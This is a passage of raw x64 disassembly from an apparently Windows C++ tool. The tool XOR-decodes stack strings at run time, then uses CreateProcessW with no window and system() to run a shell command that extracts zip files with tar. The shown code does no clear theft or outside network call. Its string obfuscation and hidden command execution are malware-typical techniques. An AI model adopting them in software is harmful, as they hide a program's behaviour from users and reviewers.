xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
xor byte [rax + 0x24], dl
mov byte [r8 + 0x24], 0
mov rdx, r15
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140056ea0
mov r8, r12
lea rdx, [rax + 1]
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte ds:[rax]
xor byte [rdx + r8], cl
inc r8
cmp r8, 0x59
jb 0x140054250
mov byte [rdx + 0x59], 0
lea rcx, [rsp + 0x340]
call fcn.140007520
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.14005e430
nop
lea rcx, [rsp + 0x320]
call fcn.140017c20
lea rdx, [rsp + 0x90]
call fcn.140056f50
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, qword [0x1402f8928]
mov rcx, rsi
nop word [rax + rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x140054330
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140055734
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x320]
call fcn.140027b80
nop
movdqa xmm0, xmmword [0x1402ce5a0]
movdqa xmmword [rsp + 0x110], xmm0
movdqa xmm1, xmmword [0x1402ce440]
movdqa xmmword [rsp + 0x120], xmm1
movdqa xmm0, xmmword [0x1402ce380]
movdqa xmmword [rsp + 0x130], xmm0
movdqa xmm1, xmmword [0x1402ce350]
movdqa xmmword [rsp + 0x140], xmm1
movdqa xmm0, xmmword [0x1402ce370]
movdqa xmmword [rsp + 0x150], xmm0
mov dword [rsp + 0x160], 0x1a14090f
mov dword [rsp + 0x164], 0x14075312
mov word [rsp + 0x168], reloc.WS2_32.dll_listen
mov rcx, r12
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x111], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x112], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x113], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x114], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x115], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x116], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x117], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x118], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x119], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11a], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11b], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11c], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11d], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11e], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x11f], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x120], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x121], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x122], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x123], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x124], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x125], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x126], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x127], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x128], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x129], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12a], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12b], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12c], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12d], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12e], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x12f], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x130], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x131], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x132], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x133], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x134], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x135], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x136], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x137], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x138], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x139], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x13a], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x13b], al
movzx eax, byte [rsp + 0x110]
xor byte [rsp + rcx + 0x13c], al
add rcx, 0x2c
cmp rcx, 0x58
jb 0x1400543f1
mov byte [rsp + 0x169], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x350], xmm1
lea rax, [rsp + 0x111]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400546c0
lea rdx, [rsp + 0x111]
lea rcx, [rsp + 0x340]
call fcn.140007560
nop
mov rdx, qword [rsp + 0x3a8]
cmp rdx, qword [rsp + 0x3b0]
je 0x14005475e
movaps xmm0, xmmword [rsp + 0x320]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqa xmmword [rsp + 0x330], xmm0
mov byte [rsp + 0x320], 0
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x350]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqa xmmword [rsp + 0x350], xmm0
mov byte [rsp + 0x340], 0
add qword [rsp + 0x3a8], 0x40
jmp 0x140054774
lea r8, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400659a0
nop
lea rcx, ds:[rsp + 0x340]
call fcn.140003d00
lea rcx, [rsp + 0x320]
call fcn.140003d00
mov r14d, r12d
mov rbx, qword [rsp + 0x3a0]
mov r12, qword [rsp + 0x3a8]
cmp rbx, r12
je 0x140054a0a
nop
inc r14d
mov r13, qword [rbx + 0x10]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400547c5
mov rdi, qword [rbx]
call fcn.1401731a0
mov qword [rsp + 0x380], rdi
mov qword [rsp + 0x388], r13
lea r8, [rsp + 0x380]
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140005120
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xf0]
call fcn.140006a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x300], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x70], ecx
lea rax, [0x1402f7f38]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x660], xmm0
mov eax, dword [rsp + 0x300]
test eax, eax
je 0x140054847
cmp eax, 1
setne dil
jmp 0x140054852
xor dil, dil
test ecx, ecx
jne 0x14005573a
lea rcx, [rsp + 0x50]
call fcn.140003c80
nop dword [rax]
test dil, dil
jne 0x1400549ed
movdqa xmm0, xmmword [0x1402ce7e0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x6372756f
mov dword [rsp + 0x64], 0xa7365
lea rdx, [rsp + 0x51]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400040a0
mov rdi, rax
mov edx, r14d
lea rcx, [rsp + 0x320]
call fcn.140004f20
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400548ba
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140028460
lea rdx, [0x1402ca3c4]
mov rcx, rax
call fcn.1400040a0
mov rdi, rax
mov r8, qword [rsp + 0x3a8]
sub r8, qword [rsp + 0x3a0]
sar r8, 6
lea r9, [rsp + 0x675]
movabs r15, 0xcccccccccccccccd
nop dword [rax]
dec r9
mov rax, r15
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140054900
lea r8, ds:[rsp + 0x675]
mov rdx, r9
lea rcx, [rsp + 0x90]
call fcn.1400280a0
nop
lea rdx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0xf
cmova rdx, qword [rsp + 0x90]
mov r8, qword [rsp + 0xa0]
mov rcx, rdi
call fcn.140028460
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x90]
call fcn.140003d00
nop
lea rcx, [rsp + 0x320]
call fcn.140003d00
mov rdx, rbx
lea rcx, [rsp + 0x90]
call fcn.140007680
lea rcx, ds:[rbx + 0x20]
mov rdx, rax
call fcn.14002bc00
mov dword [rsp + 0x2f0], 0x736c6319
mov byte [rsp + 0x2f4], 0
lea rcx, [rsp + 0x2f1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r15, [0x1402f8918]
add rbx, 0x40
cmp rbx, r12
jne 0x1400547b0
mov r12, qword [rsp + 0x3a8]
mov rbx, qword [rsp + 0x3a0]
xor r14b, r14b
cmp rbx, r12
je 0x140054d09
nop word [rax + rax]
mov r13, qword [rbx + 0x10]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140054a31
mov rdi, qword [rbx]
call fcn.1401731a0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r13
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rsp + 0x90]
call fcn.140005120
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x300]
call fcn.140006a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0xf0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x380], ecx
lea rax, [0x1402f7f38]
mov qword [rsp + 0x388], rax
movaps xmm0, xmmword [rsp + 0x380]
movdqa xmmword [rsp + 0x660], xmm0
mov eax, dword [rsp + 0xf0]
test eax, eax
je 0x140054ab5
cmp eax, 1
setne dil
jmp 0x140054ac8
xor dil, dil
test ecx, ecx
jne 0x1400558ab
lea rcx, [rsp + 0x90]
call fcn.140003c80
test dil, dil
jne 0x140054cee
nop
test r14b, r14b
jne 0x140054cc9
movdqa xmm0, xmmword [0x1402ce550]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1402ce5b0]
movdqu xmmword [rsp + 0xa0], xmm1
movdqa xmm0, xmmword [0x1402ce420]
movdqu xmmword [rsp + 0xb0], xmm0
mov word [rsp + 0xc0], 0x28
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte ds:[rsp + 0x90]
xor byte [rsp + rax + 0x91], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x92], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x93], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x94], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x95], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x96], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x97], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x98], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x99], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9a], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9b], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9c], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9d], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9e], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0x9f], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa0], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa1], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa2], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa3], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa4], cl
movzx ecx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa5], cl
movzx edx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa6], dl
movzx edx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa7], dl
movzx edx, byte [rsp + 0x90]
xor byte [rsp + rax + 0xa8], dl
add rax, 0x18
cmp rax, 0x30
jb 0x140054b30
mov byte [rsp + 0xc1], 0
lea rdx, [rsp + 0x91]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400040a0
mov r14b, 1
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140054cd6
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140028460
mov rcx, rax
call fcn.1400619e0
add rbx, 0x40
cmp rbx, r12
jne 0x140054a20
nop dword [rax + rax]
test r14b, r14b
jne 0x140055754
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4d0], xmm0
movups xmmword [rsp + 0x4e0], xmm0
movups xmmword [rsp + 0x4f0], xmm0
movups xmmword [rsp + 0x500], xmm0
movups xmmword [rsp + 0x510], xmm0
movups xmmword [rsp + 0x520], xmm0
movups xmmword [rsp + 0x530], xmm0
mov qword [rsp + 0x540], rax
lea rcx, [rsp + 0x4d0]
call fcn.14005e300
nop
lea rcx, [rsp + 0x90]
call fcn.140050740
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140054d77
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x4d0]
call fcn.14005ea00
nop
lea rcx, [rsp + 0x90]
call fcn.140003c80
movdqa xmm0, xmmword [0x1402ce620]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x74616470
mov dword [rsp + 0x64], 0x26262061
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x2f0], 0x20646334
mov byte [rsp + 0x2f4], 0
lea rcx, [rsp + 0x2f1]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x140054de6
mov rcx, qword [0x1402f8928]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x1400558c8
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r15, qword [0x1402f8918]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2f1]
lea rcx, [rsp + 0x70]
call fcn.140027b80
nop
lea rax, [rsp + 0x51]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140054e43
mov r8, rsi
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0x70]
call fcn.140023580
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x390], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x390], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
xor esi, esi
mov qword [rax + 0x10], rsi
mov byte [rax], sil
lea r8d, [rsi + 0x1d]
lea rdx, str.for__f_in__.zip__do_tar__xf
lea rcx, [rsp + 0x380]
call fcn.140023580
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movdqu xmmword [rsp + 0xa0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x140054f19
lea rax, [rcx + 1]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x90]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x90]
mov word [rax + rcx], 0x22
jmp 0x140054f29
mov r9b, 0x22
lea rcx, [rsp + 0x90]
call fcn.140026940
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x300], xmm0
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0x310], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqu xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0x90], 0
mov r8d, 2
lea rdx, [0x1402c9cf0]
lea rcx, [rsp + 0x300]
call fcn.140023580
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movdqu xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x140054fd1
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x50]
mov word [rax + rcx], 0x22
jmp 0x140054fde
mov r9b, 0x22
lea rcx, [rsp + 0x50]
call fcn.140026940
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x418], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rsp + 0x428], xmm1
movdqa xmm0, xmmword [0x1402ce180]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, [rsp + 0x50]
call fcn.140003d00
nop
lea rcx, [rsp + 0x300]
call fcn.140003d00
nop
lea rcx, [rsp + 0x90]
call fcn.140003d00
nop
lea rcx, [rsp + 0x380]
call fcn.140003d00
nop
lea rcx, [rsp + 0x70]
call fcn.140003d00
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x460], xmm0
movups xmmword [rsp + 0x470], xmm0
movups xmmword [rsp + 0x480], xmm0
movups xmmword [rsp + 0x490], xmm0
movups xmmword [rsp + 0x4a0], xmm0
movups xmmword [rsp + 0x4b0], xmm0
mov qword [rsp + 0x4c0], rax
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], rax
mov dword [rsp + 0x460], 0x68
mov dword [rsp + 0x49c], 1
mov word [rsp + 0x4a0], si
lea r8, [rsp + 0x418]
cmp qword [rsp + 0x430], 0xf
cmova r8, qword [rsp + 0x418]
mov r9, qword [rsp + 0x428]
add r9, r8
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x4d0]
call fcn.14005ece0
nop
lea r8, [rsp + 0x90]
lea rcx, [rsp + 0x438]
call fcn.140061bc0
nop
lea rcx, [rsp + 0x90]
call fcn.140003c80
lea rdx, [rsp + 0x438]
cmp qword [rsp + 0x450], 7
cmova rdx, qword [rsp + 0x438]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x460]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400551a6
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword ds:[rsp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x438]
call fcn.140003c80
nop
lea rcx, [rsp + 0x418]
call fcn.140003d00
nop
lea rcx, [rsp + 0x320]
call fcn.140003d00
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x4d0], rax
lea rcx, [rsp + 0x510]
call fcn.140003c80
lea rcx, [rsp + 0x4f0]
call fcn.140003d00
mov rcx, qword [rsp + 0x4e8]
test rcx, rcx
je 0x140055227
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140055227
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rbx, qword [rsp + 0x3a0]
test rbx, rbx
je 0x1400552c3
mov rdi, qword [rsp + 0x3a8]
cmp rbx, rdi
je 0x140055267
lea rcx, [rbx + 0x20]
call fcn.140003d00
mov rcx, rbx
call fcn.140003d00
add rbx, 0x40
cmp rbx, rdi
jne 0x140055245
mov rbx, qword [rsp + 0x3a0]
mov rdx, qword ds:[rsp + 0x3b0]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400552a7
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400552a7
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1401740c0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x3a0], xmm0
mov qword [rsp + 0x3b0], rsi
lea rcx, [rsp + 0x3f8]
call fcn.140003d00
nop
lea rcx, [rsp + 0x3d8]
call fcn.140003d00
nop
lea rcx, [rsp + 0x3b8]
call fcn.140003d00
nop
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1dc], edx
lea rcx, [rsp + 0x1f0]
call fcn.1400220a0
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x290]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140173d40
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
nop dword [rax]
call fcn.140004620
nop
lea rdx, str.Tar_is_not_available_on_this_system._nPlease_download_tar.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400040a0
call fcn.140050710
int3
nop
call fcn.140004620
int3
call fcn.140004620
nop
shr rdx, 0x20
lea r8, [rsp + 0x70]
lea rcx, str.create_directory
call fcn.140006100
nop
call fcn.140004620
int3
call fcn.140004620
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x300]
lea rcx, str.exists
call fcn.1400061e0
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x300]
lea rcx, str.remove_all
call fcn.1400061e0
nop
call fcn.140004620
int3
call fcn.140004620
int3
call fcn.140004620
nop
lea r8, [rsp + 0x380]
lea rdx, [rsp + 0x300]
lea rcx, str.exists
call fcn.1400061e0
nop
mov byte ds:[rax + 0xae], r10b
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140050710
nop
nop dword [rax + rax]
call fcn.140004620
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140055a40
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
mov byte [rax + 0x20], 0
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140050710
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140055b00
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
